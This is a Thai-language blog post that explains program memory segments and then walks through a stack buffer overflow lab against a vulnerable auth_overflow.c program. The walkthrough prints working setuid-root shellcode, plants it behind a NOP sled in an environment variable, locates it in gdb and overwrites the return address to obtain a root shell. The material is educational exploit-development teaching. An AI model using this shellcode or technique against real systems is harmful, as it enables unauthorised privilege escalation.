Saturday, July 21, 2012

0x101 เซกเมนต์หน่วยความจำ

    หน่วยความจำที่เก็บโค้ดคำสั่งและตัวแปรต่างๆ ของโปรแกรมที่ผ่านการคอมไฟล์แล้วจะได้รับการแบ่งออกเป็น 5 เซกเมนต์ ได้แก่ Text, Data, Bss, Heap และ Stack โดยคำว่าเซกเมนต์นั้นถือได้ว่าเป็นคำที่ใช้เรียกพื้นที่หน่วยความจำ ที่ถูกจัดสรรไว้เพื่อจุดประสงค์เฉพาะบางอย่าง

    เซกเมนต์ที่เป็น เท็กซ์ (Text Segment) นั้นบางครั้งถูกเรียกว่าเป็น Code Segment ด้วยเซกเมนต์นี้ทำหน้าที่เก็บโค้ดคำสั่งภาษาเครื่องที่ได้มาจากการคอมไพล์โปรแกรม การเอ็กซีคิวโค้ดคำสั่งต่างๆ ภายใต้เซกเมนต์นี้อาจไม่จำเป็นต้องเรียงลำดับไปเรื่อยๆ เนื่องด้วยโครงสร้างการควบคุมและคำสั่งต่างๆ ซึ่งเมื่อผ่านการคอมไพล์แล้ว ก็จะถูกแบ่งเป็นการแยกไปทำตามคำสั่ง(branch)การกระโดดไปแล้วการเรียกใช้คำสั่งอื่นๆขณะที่โปรแกรมเอ็กซีคิวต์ EIP ได้ถูกเซตให้ชี้ไปยังคำสั่งแรกในเท็กซ์เซกเมนต์ จากนั้นโปรเซสเซอร์จะเอ็กซีคิวต์โค้ดคำสั่งต่างๆ เป็นวงรอบซ้ำๆไปเรื่อยๆตามขั้นตอนต่อไปนี้

  1. อ่านคำสั่งที่รีจิสเตอร์ EIP กำลังชี้ไป
  2. เช็คดูว่าคำสั่งนั้นใช้พื้นที่ขนาดที่ไบต์ ก็ให้บวกค่าไบต์นั้นไปใช้ในรีจิสเตอร์ EIP
  3. เอ็กซีคิวต์คำสั่งที่อ่านได้จากตำแหน่งแอดเดรสหน่วยความจำที่รีจิสเตอร์ EIP ชี้ไปซึ่งได้จากขั้นตอนที่ 1
  4. กลับไปยังขั้นตอนที่ 1

    บางครั้ง คำสั่งอาจเป็นคำสั่ง jump หรือ call ซึี่งส่งผลให้มีการเปลี่ยนแปลงรีจิสเตอร์ EIP ไปยังตำแหน่งแอดเดรสใหม่ในหน่วยความจำ โปรเซสเซอร์เองก็จะไม่ได้กังวลอะไรกับการเปลี่ยนแปลงนี้เพราะมันคาดหวังอยู่แล้วว่า การเอ็กซีคิวต์โค้ดคำสั่งอาจไม่เป็นไปตามลำดับก็ได้ถ้ารีจิสเตอร์ EIP ถูกแก้ไขในข้อ 3 โปรเซสเซอร์จะย้อนกลับไปยังขั้นที่ 1 และอ่านโค้ดคำสั่งที่พบในแอดเดรสหน่วยความจำตามตำแหน่งใดก็แล้วแต่ที่รีจิสเตอร์ EIP ถูกแก้ไขให้ชี้ไป

    สิทธิ็ในการเขียนได้ถูก disable ไว้ในเท็กเซกเมนต์ เนื่องจากมันไม่ได้ถูกใช้เพื่อการเก็บตัวแปร มันเก็บเฉพาะโค้ดคำสั่งเท่านั้น ทั้งนี้เพื่อป้องกันไม่ให้ใครก็ตามมาแก้ไขโค้ดของโปรแกรมได้ ความพยายามที่จะแก้ไขเซกเมนต์ส่วนนี้ จะทำให้โปรแกรมต้องแจ้งเตือนให้กับผู้ใช้ได้ทราบว่ามีบางสิ่งไม่ได้กำลังเกิดขึ้น และโปรแกรมจะต้องถูกหยุดการทำงาน ประโยชน์อีกข้อหนึ่งของการที่เท็กซ์เซกเมนต์นี้เป็นแบบอ่านได้อ่ย่างเดียวเท่านี้นก็คือ มันสามารถถูกแชร์กันระหว่างหลายๆโปรแกรมได้ เพื่อเปิดโอกาสให้มีการเอ็กซีคิวต์หลายโปรแกรมได้ในขณะเดียวกันโดยปราศจากปัญหาใดๆ เรายังควรสังเกตไว้ด้วยว่าเท็กซ์เซกเมนต์นี้มีขนาดที่คงที่

    ดาต้าเซกเมนต์ (Data Segment) และบีเอสเอสเซกเมนต์ (Bss Segment) ถูกใช้เพื่อเก็บตัวแปรแบบโกลบอลและแบบสแตติก โดยดาต้าเซกเมนต์จะเก็บตัวแปรแบบโกลบอลและสแตติกที่ผ่านการเซตค่าเริ่มต้น(initialize)แล้ว ในขณะที่บีเอสเอสเซกเมนต์จะเก็บตัวแปรอื่นๆที่เหลือที่ยังไม่ได้ผ่านการเซตค่าเริ่มต้นถึงแม้เซกเมนต์เหล่านี้จะไม่สามารถถูกเขียนได้แต่มันก็มีขนาดที่คงที่ ให้จำไว้ว่าตัวแปรแบบโกลบอลและสแตติกนั้นจะถาวรตลอด ไม่ว่าอยู่ภายใต้ขอบเขตของฟังก์ชั่นไหนก็ตาม เพราะพวกมันถูกเก็บในพื้นที่หน่วยความจะเฉพาะตน

    ฮีปเซกเมนต์ (Heap Segment) นั้นเป็นเซกเมนต์ของหน่วยความจำที่โปรแกรมเมอร์สามารถควบคุมได้โดยตรง สามารถถูกจัดสรรและถูกเพื่อใช้เพื่อการใดๆก็ได้ที่โปรแกรมเมอร์ต้องการ หนึ่งในจุดเด่นข้อฮีปเซกเมนต์ก็คือ มันมีขนาดไม่คงที่ เพื่อที่จะได้สามารถขยายขนาดขึ้น หรือลดขนาดลงได้ตามความจำเป็น โปรแกรมเมอร์ที่ใช้ฟังก์ชั้นในการจัดสรรฮีปสามารถจอง และยกเลิกหน่วยความจำว่างๆ ได้ขณะการทำงานจริง พื้นที่ของฮีปเซกเมนต์จะเพิ่มขยายขึ้นจากแอดเดรสหน่วยความจำต่ำ ไปยังแอดเดรสหน่วยความจำที่สูงขึ้นเรื่อยๆ

    สแต็กเซกเมนต์ (Stack Segment) นั้นมีขนาดที่แปรเปลียนได้ และถูกใช้เป็นพื้นที่ชั่วคราวสำหรับจำเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้นๆ และในระหว่างการเรียกใช้ฟังก์ชั้นอื่นๆ นี่คือสิ่งที่คำสั่ง backtrace ของ GDB เข้าไปสำรวจได้ เมื่อโปรแกรมเรียกฟังก์ชั่น ฟังก์ชั่นนั้นๆก็จะมีเซตของตัวแปรที่ถูกส่งผ่านมาจากโปรแกรมเป็นของตนเอง และโค้ดคำสั่งฟังก์ชั่นนั้นจะอยู่ในตำแหน่งหน่วยความจำที่แตกต่างกัน ในพื้นที่ของเท็กซ์เซกเมนต์ เนื่องจากขอบเขตของการรันโค้ดและรีจิสเตอร์ EIP จำเป็นต้องถูกเปลี่ยนไปเมื่อมีการเรียกใช้ฟังก์ชั่นเกิดขึ้น สแต็กจะเข้ามาช่วยในการจำค่าของตัวแปรที่ถูกส่งผ่านเข้ามา ส่วนข้อมูลที่เก็บอยู่ในรีจิสเตอร์ EIP ก็จะเก็บแอดเดรสของหน่วยความจำล่าสุดที่หลังจากรันฟังก์ชั่นนั้นๆ เสร็จแล้ว โปรแกรมจะต้องหวนกลับมาเอ็กซีคิวที่แอดเดรสตำแหน่งดังกล่าวนี้ต่อไป ข้อมูลทั้งหมดที่ถูกเก็บไว้ในสแต็กในแต่ละครั้งของการไปเรียกใช้ฟังก์ชั่นอื่นนี้เรียกว่า stack frame โดยในพื้นที่สแต็กเซกเมนต์จะประกอบด้วยหลายๆ stack frame

Refference: segment_wiki

0x204 ครั้งสุดท้ายของ auth_overflow

    ในการทดลองครั้งนี้เราจะกลับไปใช้ auth_overflow.c อีกครั้ง วัตถุประสงค์ของการ Exploit ครั้งนี้ก็คือการได้เข้าไปใช้งาน shell ในสิทธิ์ root อาจจะมีการใช้เทคนิคต่างๆเข้ามาช่วยในการทดลองนี้ แต่มันไม่ใช่เรื่องยากเท่าไร่นักสำหรับผู้ที่คุ้นเคยกับ Linux เป็นอย่างดี หนึ่งในเทคนิคที่ใช้คือ shellcode ที่จะค่อยทำการเซต suid ให้เป็น root (shellcode มีหลายรูปแบบมีเวลาจะมาเล่าให้ฟัง) นี้คือหน้าตา shellcode ของเรา
root@bt:~/Hacking# hexdump -C shellcode.bin 
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023
root@bt:~/Hacking# wc -c shellcode.bin 
35 shellcode.bin
ในเมื่อ shellcode ของเราพร้อมแล้วเราก็ไปสำรวจเจ้า auth_overflow.c อีกครั้งแน่นอนเรารู้จากบทความก่อนๆ แล้วว่าช่องโหว่ที่ทำให้เกิด buffer overflow นั้นอยู่ที่ตัวแปร password_buffer[16] ถึงแม้มันจะมีช่องโหว่(Vulnerability) แต่นั้นมันก็เป็นบัฟเฟอร์ที่น้อยเกินไปสำหรับ shellcode ของเราอาจจะทำให้เกิด Segmentation fault. ก็เป็นได้ ดังนั้นทางเลือกสำหรับการแก้ปัญหาครั้งนี้ก็คือ สภาวะแวดล้อม(env) (ไม่รู้จะแปรยังไง ==?) ถึงแม้บัฟเฟอร์จะมีขนาดเล็กเกินไปสำหรับเชลล์โค้ด แต่ยังโชคดีที่ยังมีตำแหน่งอื่นในหน่วยความจำที่สามารถซุกซ่อนเชลล์โค้ดได้ ตัวแปรสภาวะแวดล้อมเป็นสิ่งที่ผู้ใช้เชลล์สามารถนำมาประยุกต์ให้ได้หลายอย่าง สิ่งที่สำคัญคือ ตัวแปรเชลล์ดังกล่าวจะถูกเก็บไว้ในพื้นที่ของสแต็กและสารารถเชตค่าได้จากคำสั่งในเชลล์
root@bt:~/Hacking# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
root@bt:~/Hacking# echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                 XQh//shh/bin��Q��S��̀
root@bt:~/Hacking# env |grep SHELLCODE
SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                           XQh//shh/bin��Q��S��̀

ในที่สุดเชลล์โค้ดของเราก็ได้ถูกจัดเก็บอยู่บนสแต็ก โดยอยู่ในตัวแปรสภาวะแวดล้อมพร้อมๆกับ NOP Sled 200 ไบต์

NOP Sled ?
    NOP เป็นคำสั่งจากภาษาแอสเซมบลีที่ย่อยมาจาก no operation มันเป็นคำสั่งหนึ่งไบต์ที่แท้จริงแล้วมันไม่ได้ทำอะไรเลย คำสั้ง NOP กำลังจะถูกนำมาใช้ในจุดประสงค์ที่ต่างกันเพื่อเสริมเทคนิคการแฮกของเรา เรากำลังจะสร้างอาร์เรย์ขนาดใหญ่(หรือเรียกว่า sled) ของคำสั่ง NOP เหล่านี้มันจะว่างไว้ข้างหน้าก่อนถึงเชลล์โค้ด จากนั้นรีจิตเตอร์ EIP ชี้ไปยังแอดเดรสใดๆ ที่พบใน NOP Sled มันจะเพิ่มค่าของมันไปเรื่อยๆ ขณะที่กำลังเอ็กซีคิวต์แต่ละคำสั่ง NOP จนไปถึงเชลล์โค้ด นี้ก็หมายความว่าเราได้เพิ่มความมันใจว่าเชลล์โค้ดของเราจะถึงเอ็กซีีคิวต์แน่นอน

.-----------------.-------------------.-------------------------. | NOP Sled | Shellcode | Repeated return address | `-----------------`-------------------`-------------------------`

ดังนั้นเพียงแค่เราค้นหาแอดเดรสซักที่หนึ่งที่อยู่ในช่วง Sled เพื่อเขียนทับรีเทิร์นแอดเดรสที่ถูงเซฟไว้เช่นเดียวกันเทคนิค 0x203 authoverflow เราไปเริ่มต้นหาแอดเดรสที่เราต้องการกันเลย
root@bt:~/Hacking# gdb -q ./auth_overflow
Reading symbols from /root/Hacking/auth_overflow...done.
(gdb) b main
Breakpoint 1 at 0x80484fa: file auth_overflow.c, line 20.
(gdb) r
Starting program: /root/Hacking/auth_overflow 

Breakpoint 1, main (argc=1, argv=0xbffff4e4) at auth_overflow.c:20
20		if(argc < 2) {
(gdb) i r esp
esp            0xbffff430	0xbffff430
(gdb) i f
Stack level 0, frame at 0xbffff440:
 eip = 0x80484fa in main (auth_overflow.c:20); saved eip 0xb7e8abd6
 source language c.
 Arglist at 0xbffff438, args: argc=1, argv=0xbffff4e4
 Locals at 0xbffff438, Previous frame sp is 0xbffff440
 Saved registers:
  ebp at 0xbffff438, eip at 0xbffff43c
(gdb) x/24s $esp + 0x240
0xbffff670:	 "-root"
0xbffff676:	 "SSH_AGENT_PID=1361"
0xbffff689:	 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
0xbffff751:	 "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0xbffff77f:	 "SHELL=/bin/bash"
0xbffff78f:	 "TERM=xterm"
0xbffff79a:	 "XDG_SESSION_COOKIE=9d7a172b7c0b978fc8866b514f81bfe9-1342854609.404684-934744129"
0xbffff7ea:	 "HUSHLOGIN=FALSE"
0xbffff7fa:	 "WINDOWID=46137347"
0xbffff80c:	 "GNOME_KEYRING_CONTROL=/tmp/keyring-7znX2n"
0xbffff836:	 "GTK_MODULES=canberra-gtk-module"
0xbffff856:	 "USER=root"
(gdb) x/s 0xbffff689 + 100
0xbffff6ed:	 "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
(gdb) 
ดีบั๊กเกอร์ได้เปิดเผยให้ทราบถึงตำแหน่งที่เก็บเชลล์โค้ด ซึ่งได้แสดงในตัวหนาในเอาพุตข้างต้น ดีบั็กเกอร์ยังมีข้อมูลบางอย่างอยู่บนสแต็ก ชึ่งจะเป็นการเลื่อนแอดเดรสไปหนึ่งบิต แต่ด้วย NOP sled ขนาด 200 ไบต์ ความคลาดเคลื่อนเหล่านี้ไม่ได้เป็นอุปสรรค ถ้าแอดเดรสอยู่กึ่งกลางของ sled นั้นคือ 0xbffff6ed หลังจากค้นหาแอดเดรสที่เก็บเชลล์โค้ดที่จะนำไปอัดฉีดได้แล้ว ก็จะเหลือการ Exploit เพียงแค่การเขียนทับรีเทิร์นแอดเดรสด้วยแอดเดรสที่เก็บเชลล์โค้ดดังกล่าวเท่านั้นเอง
root@bt:~/Hacking# ./auth_overflow $(perl -e 'print "\xed\xf6\xff\xbf"x10')
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# whoami
root
sh-4.1# 
เพียงเทานี้เราก็ได้สิทธิ์ root มาเป็นของเราส่วนจะทำอะไรต่อนั้นก็ขึ้นอยู่กับ ...